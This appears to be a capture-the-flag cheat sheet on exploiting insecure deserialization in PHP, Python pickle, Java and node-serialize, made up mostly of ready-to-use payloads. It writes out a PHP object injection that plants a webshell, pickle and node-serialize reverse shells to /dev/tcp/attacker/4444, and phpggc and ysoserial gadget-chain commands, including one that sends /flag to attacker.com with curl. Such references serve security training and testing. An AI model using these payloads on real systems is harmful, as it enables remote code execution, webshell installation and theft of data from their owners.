| Language | Serialized format looks like | Transport |
|---|---|---|
| PHP | O:4:"User":2:{s:4:"name";s:5:"admin";...} | Cookie, POST, session |
| PHP | Base64 of the above, or URL-encoded | Cookie value |
| Python pickle | Starts with \x80\x04\x95 or c__builtin__ (opcode) | POST body, cookie |
| Java | Starts with AC ED 00 05 or Base64 rO0AB | HTTP body, RMI, JMX |
| Node (node-serialize) | {"func":"_$$ND_FUNC$$_function(){...}()"} | JSON body, cookie |
| Ruby Marshal | Starts with 04 08 | Cookie, session |
| .NET BinaryFormatter | Starts with 00 01 00 00 00 | ViewState, remoting |
# PHP serialize() format: # s:N:"string" — string of length N # i:N; — integer # b:0; b:1; — boolean false/true # N; — null # a:N:{...} — array with N elements # O:N:"Class":P:{props} — object, class N chars, P properties # Example: User object with name="admin", role="user" O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} # Change role to "admin": O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";} # URL encode then set as cookie # or base64 encode first python3 -c "import base64; print(base64.b64encode(b'O:4:...'))"
# Magic methods called automatically on unserialize(): # __wakeup() — called on unserialize # __destruct()— called when object is destroyed # __toString()— called when used as string # __call() — called for undefined methods # Example vulnerable class in source: class Logger { public $logFile = '/var/log/app.log'; public $payload = ''; function __destruct() { file_put_contents($this->logFile, $this->payload); } } # Exploit: write PHP webshell O:6:"Logger":2:{ s:7:"logFile";s:17:"/var/www/shell.php"; s:7:"payload";s:30:"<?php system($_GET['cmd']); ?>"; } # PHP property length must match exactly! # Count chars carefully: s:17:"/var/www/shell.php" ← 17 chars
# POP (Property Oriented Programming) chain: # Chain magic methods across multiple classes # to reach system() or eval() # Tools to find and generate chains: # phpggc — PHP gadget chain generator git clone https://github.com/ambionics/phpggc ./phpggc -l # list available chains ./phpggc Laravel/RCE1 system "id" ./phpggc Symfony/RCE1 exec "cat /flag" ./phpggc -b Guzzle/FW1 write /var/www/shell.php "" # Output is ready serialized payload # Pipe or send as cookie value ./phpggc --base64 Laravel/RCE1 system "cat /flag"
# pickle.loads() executes __reduce__ method # __reduce__ returns (callable, args) → callable(*args) import pickle, os class RCE: def __reduce__(self): cmd = 'id > /tmp/out' return (os.system, (cmd,)) payload = pickle.dumps(RCE()) print(payload.hex()) print(payload) # send this to the vulnerable endpoint # Reverse shell variant class Shell: def __reduce__(self): return (os.system, ('bash -i >& /dev/tcp/attacker/4444 0>&1',)) # Read flag variant (cat flag to stdout) class Flag: def __reduce__(self): return (eval, ('open("/flag").read()',))
# Raw pickle opcode — shorter payload import pickle # Using pickle opcodes directly payload = b"""cos system (S'cat /flag' tR.""" # cos = import os; system = attribute; (...) = call # Using pickletools to inspect import pickletools pickletools.dis(payload) # disassemble opcodes # Safer multi-command payload import pickle, base64 class Exploit(object): def __reduce__(self): import subprocess return (subprocess.check_output, (['cat', '/flag'],)) data = pickle.dumps(Exploit()) # Encode for HTTP transport encoded = base64.b64encode(data).decode() print(encoded)
# Java serialized stream signature # Hex: AC ED 00 05 # Base64: rO0AB... (first bytes) # File: file payload.bin → "Java serialization data" # Check if endpoint accepts serialized data: # Content-Type: application/x-java-serialized-object # POST body starts with rO0AB (base64) # Cookies with base64-looking values # Vulnerable libraries (gadget chains in): # commons-collections 3.1 / 4.0 # spring-core # groovy # mybatis # jdk7u21 # Clojure
# Download ysoserial wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar # List available gadget chains java -jar ysoserial-all.jar # Generate payload for common chains java -jar ysoserial-all.jar CommonsCollections1 \ "cmd /c calc" > payload.bin java -jar ysoserial-all.jar CommonsCollections6 \ "curl attacker.com/?f=$(cat /flag|base64)" > payload.bin # Send payload curl -X POST -H "Content-Type: application/x-java-serialized-object" \ --data-binary @payload.bin https://target/endpoint # Base64 encode for cookie/param base64 -w0 payload.bin > payload.b64 # Then: Cookie: data=$(cat payload.b64)
# node-serialize: IIFE in function property = RCE # Vulnerable pattern: serialize.unserialize(userInput) # Payload: function body wrapped in IIFE ()() { "rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id',function(e,s,t){console.log(s)});return 1;}()" } # Reverse shell { "x": "_$$ND_FUNC$$_function(){require('child_process').exec('bash -i >& /dev/tcp/attacker/4444 0>&1');}()" } # URL/base64 encode and send as cookie or POST body
| Tool | Use |
|---|---|
| phpggc | PHP gadget chain generator (Laravel, Symfony, Guzzle…) |
| ysoserial | Java gadget chain generator |
| marshalsec | Java deserialization (JNDI, RMI) |
| pickle | Python — craft with __reduce__ |
| pickletools | Python — disassemble/inspect pickle |
| Burp Collaborator | OOB detection (DNS/HTTP callback) |
| SerializationDumper | Java — dump serialized stream as text |
| jdeserialize | Java — parse and inspect serialized objects |
O:, rO0AB, \x80\x04
② PHP: modify property values (role=admin), trigger magic methods (__destruct)
③ PHP gadget chains: phpggc -l → try all for target framework
④ Python: craft __reduce__ returning (os.system, ("cmd",))
⑤ Java: ysoserial CommonsCollections6 "curl attacker/?f=$(cat /flag|base64)"
⑥ Always test OOB first (DNS/curl ping) before blind RCE